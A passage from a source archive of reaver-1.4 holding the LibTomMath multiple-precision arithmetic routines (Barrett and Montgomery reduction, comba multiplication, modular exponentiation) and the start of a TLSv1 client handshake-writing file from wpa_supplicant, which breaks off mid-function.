(mp_int * a, int b) { int res; /* zero a as per default */ mp_zero (a); /* grow a to accomodate the single bit */ if ((res = mp_grow (a, b / DIGIT_BIT + 1)) != MP_OKAY) { return res; } /* set the used count of where the bit will go */ a->used = b / DIGIT_BIT + 1; /* put the single bit in its place */ a->dp[b / DIGIT_BIT] = ((mp_digit)1) << (b % DIGIT_BIT); return MP_OKAY; } /* pre-calculate the value required for Barrett reduction * For a given modulus "b" it calulates the value required in "a" */ static int mp_reduce_setup (mp_int * a, mp_int * b) { int res; if ((res = mp_2expt (a, b->used * 2 * DIGIT_BIT)) != MP_OKAY) { return res; } return mp_div (a, b, a, NULL); } /* reduces x mod m, assumes 0 < x < m**2, mu is * precomputed via mp_reduce_setup. * From HAC pp.604 Algorithm 14.42 */ static int mp_reduce (mp_int * x, mp_int * m, mp_int * mu) { mp_int q; int res, um = m->used; /* q = x */ if ((res = mp_init_copy (&q, x)) != MP_OKAY) { return res; } /* q1 = x / b**(k-1) */ mp_rshd (&q, um - 1); /* according to HAC this optimization is ok */ if (((unsigned long) um) > (((mp_digit)1) << (DIGIT_BIT - 1))) { if ((res = mp_mul (&q, mu, &q)) != MP_OKAY) { goto CLEANUP; } } else { #ifdef BN_S_MP_MUL_HIGH_DIGS_C if ((res = s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #elif defined(BN_FAST_S_MP_MUL_HIGH_DIGS_C) if ((res = fast_s_mp_mul_high_digs (&q, mu, &q, um)) != MP_OKAY) { goto CLEANUP; } #else { #error mp_reduce would always fail res = MP_VAL; goto CLEANUP; } #endif } /* q3 = q2 / b**(k+1) */ mp_rshd (&q, um + 1); /* x = x mod b**(k+1), quick (no division) */ if ((res = mp_mod_2d (x, DIGIT_BIT * (um + 1), x)) != MP_OKAY) { goto CLEANUP; } /* q = q * m mod b**(k+1), quick (no division) */ if ((res = s_mp_mul_digs (&q, m, &q, um + 1)) != MP_OKAY) { goto CLEANUP; } /* x = x - q */ if ((res = mp_sub (x, &q, x)) != MP_OKAY) { goto CLEANUP; } /* If x < 0, add b**(k+1) to it */ if (mp_cmp_d (x, 0) == MP_LT) { mp_set (&q, 1); if ((res = mp_lshd (&q, um + 1)) != MP_OKAY) { goto CLEANUP; } if ((res = mp_add (x, &q, x)) != MP_OKAY) { goto CLEANUP; } } /* Back off if it's too big */ while (mp_cmp (x, m) != MP_LT) { if ((res = s_mp_sub (x, m, x)) != MP_OKAY) { goto CLEANUP; } } CLEANUP: mp_clear (&q); return res; } /* multiplies |a| * |b| and only computes upto digs digits of result * HAC pp. 595, Algorithm 14.12 Modified so you can control how * many digits of output are created. */ static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ if (((digs) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_digs (a, b, c, digs); } if ((res = mp_init_size (&t, digs)) != MP_OKAY) { return res; } t.used = digs; /* compute the digits of the product directly */ pa = a->used; for (ix = 0; ix < pa; ix++) { /* set the carry to zero */ u = 0; /* limit ourselves to making digs digits of output */ pb = MIN (b->used, digs - ix); /* setup some aliases */ /* copy of the digit from a used within the nested loop */ tmpx = a->dp[ix]; /* an alias for the destination shifted ix places */ tmpt = t.dp + ix; /* an alias for the digits of b */ tmpy = b->dp; /* compute the columns of the output and propagate the carry */ for (iy = 0; iy < pb; iy++) { /* compute the column as a mp_word */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* the new column is the lower part of the result */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry word from the result */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* set carry if it is placed below digs */ if (ix + iy < digs) { *tmpt = u; } } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } /* Fast (comba) multiplier * * This is the fast column-array [comba] multiplier. It is * designed to compute the columns of the product first * then handle the carries afterwards. This has the effect * of making the nested loops that compute the columns very * simple and schedulable on super-scalar processors. * * This has been modified to produce a variable number of * digits of output so if say only a half-product is required * you don't have to compute the upper half (a feature * required for fast Barrett reduction). * * Based on Algorithm 14.12 on pp.595 of HAC. * */ static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY]; register mp_word _W; /* grow the destination as required */ if (c->alloc < digs) { if ((res = mp_grow (c, digs)) != MP_OKAY) { return res; } } /* number of output digits to produce */ pa = MIN(digs, a->used + b->used); /* clear the carry */ _W = 0; for (ix = 0; ix < pa; ix++) { int tx, ty; int iy; mp_digit *tmpx, *tmpy; /* get offsets into the two bignums */ ty = MIN(b->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = b->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* execute loop */ for (iz = 0; iz < iy; ++iz) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* store term */ W[ix] = ((mp_digit)_W) & MP_MASK; /* make next carry */ _W = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = c->used; c->used = pa; { register mp_digit *tmpc; tmpc = c->dp; for (ix = 0; ix < pa+1; ix++) { /* now extract the previous digit [below the carry] */ *tmpc++ = W[ix]; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init an mp_init for a given size */ static int mp_init_size (mp_int * a, int size) { int x; /* pad size so there are always extra digits */ size += (MP_PREC * 2) - (size % MP_PREC); /* alloc mem */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * size); if (a->dp == NULL) { return MP_MEM; } /* set the members */ a->used = 0; a->alloc = size; a->sign = MP_ZPOS; /* zero the digits */ for (x = 0; x < size; x++) { a->dp[x] = 0; } return MP_OKAY; } /* low level squaring, b = a*a, HAC pp.596-597, Algorithm 14.16 */ static int s_mp_sqr (mp_int * a, mp_int * b) { mp_int t; int res, ix, iy, pa; mp_word r; mp_digit u, tmpx, *tmpt; pa = a->used; if ((res = mp_init_size (&t, 2*pa + 1)) != MP_OKAY) { return res; } /* default used is maximum possible size */ t.used = 2*pa + 1; for (ix = 0; ix < pa; ix++) { /* first calculate the digit at 2*ix */ /* calculate double precision result */ r = ((mp_word) t.dp[2*ix]) + ((mp_word)a->dp[ix])*((mp_word)a->dp[ix]); /* store lower part in result */ t.dp[ix+ix] = (mp_digit) (r & ((mp_word) MP_MASK)); /* get the carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); /* left hand side of A[ix] * A[iy] */ tmpx = a->dp[ix]; /* alias for where to store the results */ tmpt = t.dp + (2*ix + 1); for (iy = ix + 1; iy < pa; iy++) { /* first calculate the product */ r = ((mp_word)tmpx) * ((mp_word)a->dp[iy]); /* now calculate the double precision result, note we use * addition instead of *2 since it's easier to optimize */ r = ((mp_word) *tmpt) + r + r + ((mp_word) u); /* store lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* get carry */ u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } /* propagate upwards */ while (u != ((mp_digit) 0)) { r = ((mp_word) *tmpt) + ((mp_word) u); *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); u = (mp_digit)(r >> ((mp_word) DIGIT_BIT)); } } mp_clamp (&t); mp_exch (&t, b); mp_clear (&t); return MP_OKAY; } /* multiplies |a| * |b| and does not compute the lower digs digits * [meant to get the higher part of the product] */ static int s_mp_mul_high_digs (mp_int * a, mp_int * b, mp_int * c, int digs) { mp_int t; int res, pa, pb, ix, iy; mp_digit u; mp_word r; mp_digit tmpx, *tmpt, *tmpy; /* can we use the fast multiplier? */ #ifdef BN_FAST_S_MP_MUL_HIGH_DIGS_C if (((a->used + b->used + 1) < MP_WARRAY) && MIN (a->used, b->used) < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { return fast_s_mp_mul_high_digs (a, b, c, digs); } #endif if ((res = mp_init_size (&t, a->used + b->used + 1)) != MP_OKAY) { return res; } t.used = a->used + b->used + 1; pa = a->used; pb = b->used; for (ix = 0; ix < pa; ix++) { /* clear the carry */ u = 0; /* left hand side of A[ix] * B[iy] */ tmpx = a->dp[ix]; /* alias to the address of where the digits will be stored */ tmpt = &(t.dp[digs]); /* alias for where to read the right hand side from */ tmpy = b->dp + (digs - ix); for (iy = digs - ix; iy < pb; iy++) { /* calculate the double precision result */ r = ((mp_word)*tmpt) + ((mp_word)tmpx) * ((mp_word)*tmpy++) + ((mp_word) u); /* get the lower part */ *tmpt++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* carry the carry */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } *tmpt = u; } mp_clamp (&t); mp_exch (&t, c); mp_clear (&t); return MP_OKAY; } #ifdef BN_MP_MONTGOMERY_SETUP_C /* setups the montgomery reduction stuff */ static int mp_montgomery_setup (mp_int * n, mp_digit * rho) { mp_digit x, b; /* fast inversion mod 2**k * * Based on the fact that * * XA = 1 (mod 2**n) => (X(2-XA)) A = 1 (mod 2**2n) * => 2*X*A - X*X*A*A = 1 * => 2*(1) - (1) = 1 */ b = n->dp[0]; if ((b & 1) == 0) { return MP_VAL; } x = (((b + 2) & 4) << 1) + b; /* here x*a==1 mod 2**4 */ x *= 2 - b * x; /* here x*a==1 mod 2**8 */ #if !defined(MP_8BIT) x *= 2 - b * x; /* here x*a==1 mod 2**16 */ #endif #if defined(MP_64BIT) || !(defined(MP_8BIT) || defined(MP_16BIT)) x *= 2 - b * x; /* here x*a==1 mod 2**32 */ #endif #ifdef MP_64BIT x *= 2 - b * x; /* here x*a==1 mod 2**64 */ #endif /* rho = -1/m mod b */ *rho = (unsigned long)(((mp_word)1 << ((mp_word) DIGIT_BIT)) - x) & MP_MASK; return MP_OKAY; } #endif #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C /* computes xR**-1 == x (mod N) via Montgomery Reduction * * This is an optimized implementation of montgomery_reduce * which uses the comba method to quickly calculate the columns of the * reduction. * * Based on Algorithm 14.32 on pp.601 of HAC. */ int fast_mp_montgomery_reduce (mp_int * x, mp_int * n, mp_digit rho) { int ix, res, olduse; mp_word W[MP_WARRAY]; /* get old used count */ olduse = x->used; /* grow a as required */ if (x->alloc < n->used + 1) { if ((res = mp_grow (x, n->used + 1)) != MP_OKAY) { return res; } } /* first we have to get the digits of the input into * an array of double precision words W[...] */ { register mp_word *_W; register mp_digit *tmpx; /* alias for the W[] array */ _W = W; /* alias for the digits of x*/ tmpx = x->dp; /* copy the digits of a into W[0..a->used-1] */ for (ix = 0; ix < x->used; ix++) { *_W++ = *tmpx++; } /* zero the high words of W[a->used..m->used*2] */ for (; ix < n->used * 2 + 1; ix++) { *_W++ = 0; } } /* now we proceed to zero successive digits * from the least significant upwards */ for (ix = 0; ix < n->used; ix++) { /* mu = ai * m' mod b * * We avoid a double precision multiplication (which isn't required) * by casting the value down to a mp_digit. Note this requires * that W[ix-1] have the carry cleared (see after the inner loop) */ register mp_digit mu; mu = (mp_digit) (((W[ix] & MP_MASK) * rho) & MP_MASK); /* a = a + mu * m * b**i * * This is computed in place and on the fly. The multiplication * by b**i is handled by offseting which columns the results * are added to. * * Note the comba method normally doesn't handle carries in the * inner loop In this case we fix the carry from the previous * column since the Montgomery reduction requires digits of the * result (so far) [see above] to work. This is * handled by fixing up one carry after the inner loop. The * carry fixups are done in order so after these loops the * first m->used words of W[] have the carries fixed */ { register int iy; register mp_digit *tmpn; register mp_word *_W; /* alias for the digits of the modulus */ tmpn = n->dp; /* Alias for the columns set by an offset of ix */ _W = W + ix; /* inner loop */ for (iy = 0; iy < n->used; iy++) { *_W++ += ((mp_word)mu) * ((mp_word)*tmpn++); } } /* now fix carry for next digit, W[ix+1] */ W[ix + 1] += W[ix] >> ((mp_word) DIGIT_BIT); } /* now we have to propagate the carries and * shift the words downward [all those least * significant digits we zeroed]. */ { register mp_digit *tmpx; register mp_word *_W, *_W1; /* nox fix rest of carries */ /* alias for current word */ _W1 = W + ix; /* alias for next word, where the carry goes */ _W = W + ++ix; for (; ix <= n->used * 2 + 1; ix++) { *_W++ += *_W1++ >> ((mp_word) DIGIT_BIT); } /* copy out, A = A/b**n * * The result is A/b**n but instead of converting from an * array of mp_word to mp_digit than calling mp_rshd * we just copy them in the right order */ /* alias for destination word */ tmpx = x->dp; /* alias for shifted double precision result */ _W = W + n->used; for (ix = 0; ix < n->used + 1; ix++) { *tmpx++ = (mp_digit)(*_W++ & ((mp_word) MP_MASK)); } /* zero oldused digits, if the input a was larger than * m->used+1 we'll have to clear the digits */ for (; ix < olduse; ix++) { *tmpx++ = 0; } } /* set the max used and clamp */ x->used = n->used + 1; mp_clamp (x); /* if A >= m then A = A - m */ if (mp_cmp_mag (x, n) != MP_LT) { return s_mp_sub (x, n, x); } return MP_OKAY; } #endif #ifdef BN_MP_MUL_2_C /* b = a*2 */ static int mp_mul_2(mp_int * a, mp_int * b) { int x, res, oldused; /* grow to accomodate result */ if (b->alloc < a->used + 1) { if ((res = mp_grow (b, a->used + 1)) != MP_OKAY) { return res; } } oldused = b->used; b->used = a->used; { register mp_digit r, rr, *tmpa, *tmpb; /* alias for source */ tmpa = a->dp; /* alias for dest */ tmpb = b->dp; /* carry */ r = 0; for (x = 0; x < a->used; x++) { /* get what will be the *next* carry bit from the * MSB of the current digit */ rr = *tmpa >> ((mp_digit)(DIGIT_BIT - 1)); /* now shift up this digit, add in the carry [from the previous] */ *tmpb++ = ((*tmpa++ << ((mp_digit)1)) | r) & MP_MASK; /* copy the carry that would be from the source * digit into the next iteration */ r = rr; } /* new leading digit? */ if (r != 0) { /* add a MSB which is always 1 at this point */ *tmpb = 1; ++(b->used); } /* now zero any excess digits on the destination * that we didn't write to */ tmpb = b->dp + b->used; for (x = b->used; x < oldused; x++) { *tmpb++ = 0; } } b->sign = a->sign; return MP_OKAY; } #endif #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* * shifts with subtractions when the result is greater than b. * * The method is slightly modified to shift B unconditionally upto just under * the leading bit of b. This saves alot of multiple precision shifting. */ static int mp_montgomery_calc_normalization (mp_int * a, mp_int * b) { int x, bits, res; /* how many bits of last digit does b use */ bits = mp_count_bits (b) % DIGIT_BIT; if (b->used > 1) { if ((res = mp_2expt (a, (b->used - 1) * DIGIT_BIT + bits - 1)) != MP_OKAY) { return res; } } else { mp_set(a, 1); bits = 1; } /* now compute C = A * B mod b */ for (x = bits - 1; x < (int)DIGIT_BIT; x++) { if ((res = mp_mul_2 (a, a)) != MP_OKAY) { return res; } if (mp_cmp_mag (a, b) != MP_LT) { if ((res = s_mp_sub (a, b, a)) != MP_OKAY) { return res; } } } return MP_OKAY; } #endif #ifdef BN_MP_EXPTMOD_FAST_C /* computes Y == G**X mod P, HAC pp.616, Algorithm 14.85 * * Uses a left-to-right k-ary sliding window to compute the modular exponentiation. * The value of k changes based on the size of the exponent. * * Uses Montgomery or Diminished Radix reduction [whichever appropriate] */ static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode) { mp_int M[TAB_SIZE], res; mp_digit buf, mp; int err, bitbuf, bitcpy, bitcnt, mode, digidx, x, y, winsize; /* use a pointer to the reduction algorithm. This allows us to use * one of many reduction algorithms without modding the guts of * the code with if statements everywhere. */ int (*redux)(mp_int*,mp_int*,mp_digit); /* find window size */ x = mp_count_bits (X); if (x <= 7) { winsize = 2; } else if (x <= 36) { winsize = 3; } else if (x <= 140) { winsize = 4; } else if (x <= 450) { winsize = 5; } else if (x <= 1303) { winsize = 6; } else if (x <= 3529) { winsize = 7; } else { winsize = 8; } #ifdef MP_LOW_MEM if (winsize > 5) { winsize = 5; } #endif /* init M array */ /* init first cell */ if ((err = mp_init(&M[1])) != MP_OKAY) { return err; } /* now init the second half of the array */ for (x = 1<<(winsize-1); x < (1 << winsize); x++) { if ((err = mp_init(&M[x])) != MP_OKAY) { for (y = 1<<(winsize-1); y < x; y++) { mp_clear (&M[y]); } mp_clear(&M[1]); return err; } } /* determine and setup reduction code */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_SETUP_C /* now setup montgomery */ if ((err = mp_montgomery_setup (P, &mp)) != MP_OKAY) { goto LBL_M; } #else err = MP_VAL; goto LBL_M; #endif /* automatically pick the comba one if available (saves quite a few calls/ifs) */ #ifdef BN_FAST_MP_MONTGOMERY_REDUCE_C if (((P->used * 2 + 1) < MP_WARRAY) && P->used < (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { redux = fast_mp_montgomery_reduce; } else #endif { #ifdef BN_MP_MONTGOMERY_REDUCE_C /* use slower baseline Montgomery method */ redux = mp_montgomery_reduce; #else err = MP_VAL; goto LBL_M; #endif } } else if (redmode == 1) { #if defined(BN_MP_DR_SETUP_C) && defined(BN_MP_DR_REDUCE_C) /* setup DR reduction for moduli of the form B**k - b */ mp_dr_setup(P, &mp); redux = mp_dr_reduce; #else err = MP_VAL; goto LBL_M; #endif } else { #if defined(BN_MP_REDUCE_2K_SETUP_C) && defined(BN_MP_REDUCE_2K_C) /* setup DR reduction for moduli of the form 2**k - b */ if ((err = mp_reduce_2k_setup(P, &mp)) != MP_OKAY) { goto LBL_M; } redux = mp_reduce_2k; #else err = MP_VAL; goto LBL_M; #endif } /* setup result */ if ((err = mp_init (&res)) != MP_OKAY) { goto LBL_M; } /* create M table * * * The first half of the table is not computed though accept for M[0] and M[1] */ if (redmode == 0) { #ifdef BN_MP_MONTGOMERY_CALC_NORMALIZATION_C /* now we need R mod m */ if ((err = mp_montgomery_calc_normalization (&res, P)) != MP_OKAY) { goto LBL_RES; } #else err = MP_VAL; goto LBL_RES; #endif /* now set M[1] to G * R mod m */ if ((err = mp_mulmod (G, &res, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } else { mp_set(&res, 1); if ((err = mp_mod(G, P, &M[1])) != MP_OKAY) { goto LBL_RES; } } /* compute the value at M[1<<(winsize-1)] by squaring M[1] (winsize-1) times */ if ((err = mp_copy (&M[1], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } for (x = 0; x < (winsize - 1); x++) { if ((err = mp_sqr (&M[1 << (winsize - 1)], &M[1 << (winsize - 1)])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[1 << (winsize - 1)], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* create upper table */ for (x = (1 << (winsize - 1)) + 1; x < (1 << winsize); x++) { if ((err = mp_mul (&M[x - 1], &M[1], &M[x])) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&M[x], P, mp)) != MP_OKAY) { goto LBL_RES; } } /* set initial mode and bit cnt */ mode = 0; bitcnt = 1; buf = 0; digidx = X->used - 1; bitcpy = 0; bitbuf = 0; for (;;) { /* grab next digit as required */ if (--bitcnt == 0) { /* if digidx == -1 we are out of digits so break */ if (digidx == -1) { break; } /* read next digit and reset bitcnt */ buf = X->dp[digidx--]; bitcnt = (int)DIGIT_BIT; } /* grab the next msb from the exponent */ y = (mp_digit)(buf >> (DIGIT_BIT - 1)) & 1; buf <<= (mp_digit)1; /* if the bit is zero and mode == 0 then we ignore it * These represent the leading zero bits before the first 1 bit * in the exponent. Technically this opt is not required but it * does lower the # of trivial squaring/reductions used */ if (mode == 0 && y == 0) { continue; } /* if the bit is zero and mode == 1 then we square */ if (mode == 1 && y == 0) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } continue; } /* else we add it to the window */ bitbuf |= (y << (winsize - ++bitcpy)); mode = 2; if (bitcpy == winsize) { /* ok window is filled so square as required and multiply */ /* square first */ for (x = 0; x < winsize; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* then multiply */ if ((err = mp_mul (&res, &M[bitbuf], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* empty window and reset */ bitcpy = 0; bitbuf = 0; mode = 1; } } /* if bits remain then square/multiply */ if (mode == 2 && bitcpy > 0) { /* square then multiply if the bit is set */ for (x = 0; x < bitcpy; x++) { if ((err = mp_sqr (&res, &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } /* get next bit of the window */ bitbuf <<= 1; if ((bitbuf & (1 << winsize)) != 0) { /* then multiply */ if ((err = mp_mul (&res, &M[1], &res)) != MP_OKAY) { goto LBL_RES; } if ((err = redux (&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } } } if (redmode == 0) { /* fixup result if Montgomery reduction is used * recall that any value in a Montgomery system is * actually multiplied by R mod n. So we have * to reduce one more time to cancel out the factor * of R. */ if ((err = redux(&res, P, mp)) != MP_OKAY) { goto LBL_RES; } } /* swap res with Y */ mp_exch (&res, Y); err = MP_OKAY; LBL_RES:mp_clear (&res); LBL_M: mp_clear(&M[1]); for (x = 1<<(winsize-1); x < (1 << winsize); x++) { mp_clear (&M[x]); } return err; } #endif #ifdef BN_FAST_S_MP_SQR_C /* the jist of squaring... * you do like mult except the offset of the tmpx [one that * starts closer to zero] can't equal the offset of tmpy. * So basically you set up iy like before then you min it with * (ty-tx) so that it never happens. You double all those * you add in the inner loop After that loop you do the squares and add them in. */ static int fast_s_mp_sqr (mp_int * a, mp_int * b) { int olduse, res, pa, ix, iz; mp_digit W[MP_WARRAY], *tmpx; mp_word W1; /* grow the destination as required */ pa = a->used + a->used; if (b->alloc < pa) { if ((res = mp_grow (b, pa)) != MP_OKAY) { return res; } } /* number of output digits to produce */ W1 = 0; for (ix = 0; ix < pa; ix++) { int tx, ty, iy; mp_word _W; mp_digit *tmpy; /* clear counter */ _W = 0; /* get offsets into the two bignums */ ty = MIN(a->used-1, ix); tx = ix - ty; /* setup temp aliases */ tmpx = a->dp + tx; tmpy = a->dp + ty; /* this is the number of times the loop will iterrate, essentially while (tx++ < a->used && ty-- >= 0) { ... } */ iy = MIN(a->used-tx, ty+1); /* now for squaring tx can never equal ty * we halve the distance since they approach at a rate of 2x * and we have to round because odd cases need to be executed */ iy = MIN(iy, (ty-tx+1)>>1); /* execute loop */ for (iz = 0; iz < iy; iz++) { _W += ((mp_word)*tmpx++)*((mp_word)*tmpy--); } /* double the inner product and add carry */ _W = _W + _W + W1; /* even columns have the square term in them */ if ((ix&1) == 0) { _W += ((mp_word)a->dp[ix>>1])*((mp_word)a->dp[ix>>1]); } /* store it */ W[ix] = (mp_digit)(_W & MP_MASK); /* make next carry */ W1 = _W >> ((mp_word)DIGIT_BIT); } /* setup dest */ olduse = b->used; b->used = a->used+a->used; { mp_digit *tmpb; tmpb = b->dp; for (ix = 0; ix < pa; ix++) { *tmpb++ = W[ix] & MP_MASK; } /* clear unused digits [that existed in the old copy of c] */ for (; ix < olduse; ix++) { *tmpb++ = 0; } } mp_clamp (b); return MP_OKAY; } #endif #ifdef BN_MP_MUL_D_C /* multiply by a digit */ static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c) { mp_digit u, *tmpa, *tmpc; mp_word r; int ix, res, olduse; /* make sure c is big enough to hold a*b */ if (c->alloc < a->used + 1) { if ((res = mp_grow (c, a->used + 1)) != MP_OKAY) { return res; } } /* get the original destinations used count */ olduse = c->used; /* set the sign */ c->sign = a->sign; /* alias for a->dp [source] */ tmpa = a->dp; /* alias for c->dp [dest] */ tmpc = c->dp; /* zero carry */ u = 0; /* compute columns */ for (ix = 0; ix < a->used; ix++) { /* compute product and carry sum for this term */ r = ((mp_word) u) + ((mp_word)*tmpa++) * ((mp_word)b); /* mask off higher bits to get a single digit */ *tmpc++ = (mp_digit) (r & ((mp_word) MP_MASK)); /* send carry into next iteration */ u = (mp_digit) (r >> ((mp_word) DIGIT_BIT)); } /* store final carry [if any] and increment ix offset */ *tmpc++ = u; ++ix; /* now zero digits above the top */ while (ix++ < olduse) { *tmpc++ = 0; } /* set used count */ c->used = a->used + 1; mp_clamp(c); return MP_OKAY; } #endif reaver-1.4/src/tls/tlsv1_client_write.c0000755000175000017500000005000111705505257017560 0ustar reaverreaver/* * TLSv1 client - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static size_t tls_client_cert_chain_der_len(struct tlsv1_client *conn) { size_t len = 0; struct x509_certificate *cert; if (conn->cred == NULL) return 0; cert = conn->cred->cert; while (cert) { len += 3 + cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } return len; } u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len) { u8 *hello, *end, *pos, *hs_length, *hs_start, *rhdr; struct os_time now; size_t len, i; wpa_printf(MSG_DEBUG, "TLSv1: Send ClientHello"); *out_len = 0; os_get_time(&now); WPA_PUT_BE32(conn->client_random, now.sec); if (os_get_random(conn->client_random + 4, TLS_RANDOM_LEN - 4)) { wpa_printf(MSG_ERROR, "TLSv1: Could not generate " "client_random"); return NULL; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); len = 100 + conn->num_cipher_suites * 2 + conn->client_hello_ext_len; hello = os_malloc(len); if (hello == NULL) return NULL; end = hello + len; rhdr = hello; pos = rhdr + TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CLIENT_HELLO; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - ClientHello */ /* ProtocolVersion client_version */ WPA_PUT_BE16(pos, TLS_VERSION); pos += 2; /* Random random: uint32 gmt_unix_time, opaque random_bytes */ os_memcpy(pos, conn->client_random, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; /* SessionID session_id */ *pos++ = conn->session_id_len; os_memcpy(pos, conn->session_id, conn->session_id_len); pos += conn->session_id_len; /* CipherSuite cipher_suites<2..2^16-1> */ WPA_PUT_BE16(pos, 2 * conn->num_cipher_suites); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { WPA_PUT_BE16(pos, conn->cipher_suites[i]); pos += 2; } /* CompressionMethod compression_methods<1..2^8-1> */ *pos++ = 1; *pos++ = TLS_COMPRESSION_NULL; if (conn->client_hello_ext) { os_memcpy(pos, conn->client_hello_ext, conn->client_hello_ext_len); pos += conn->client_hello_ext_len; } WPA_PUT_BE24(hs_length, pos - hs_length - 3); tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, out_len) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create TLS record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(hello); return NULL; } conn->state = SERVER_HELLO; return hello; } static int tls_write_client_certificate(struct tlsv1_client *conn, u8 **msgpos, u8 *end) { u8 *pos, *rhdr, *hs_start, *hs_length, *cert_start; size_t rlen; struct x509_certificate *cert; pos = *msgpos; wpa_printf(MSG_DEBUG, "TLSv1: Send Certificate"); rhdr = pos; pos += TLS_RECORD_HEADER_LEN; /* opaque fragment[TLSPlaintext.length] */ /* Handshake */ hs_start = pos; /* HandshakeType msg_type */ *pos++ = TLS_HANDSHAKE_TYPE_CERTIFICATE; /* uint24 length (to be filled) */ hs_length = pos; pos += 3; /* body - Certificate */ /* uint24 length (to be filled) */ cert_start = pos; pos += 3; cert = conn->cred ? conn->cred->cert : NULL; while (cert) { if (pos + 3 + cert->cert_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Not enough buffer space " "for Certificate (cert_len=%lu left=%lu)", (unsigned long) cert->cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } WPA_PUT_BE24(pos, cert->cert_len); pos += 3; os_memcpy(pos, cert->cert_start, cert->cert_len); pos += cert->cert_len; if (x509_certificate_self_signed(cert)) break; cert = x509_certificate_get_subject(conn->cred->trusted_certs, &cert->issuer); } if (conn->cred == NULL || cert == conn->cred->cert || cert == NULL) { /* * Client was not configured with all the needed certificates * to form a full certificate chain. The server may fail to * validate the chain unless it is configured with all the * missing CA certificates. */ wpa_printf(MSG_DEBUG, "TLSv1: Full client certificate chain " "not configured - validation may fail"); } WPA_PUT_BE24(cert_start, pos - cert_start - 3); WPA_PUT_BE24(hs_length, pos - hs_length - 3); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, rhdr, end - rhdr, pos - hs_start, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, 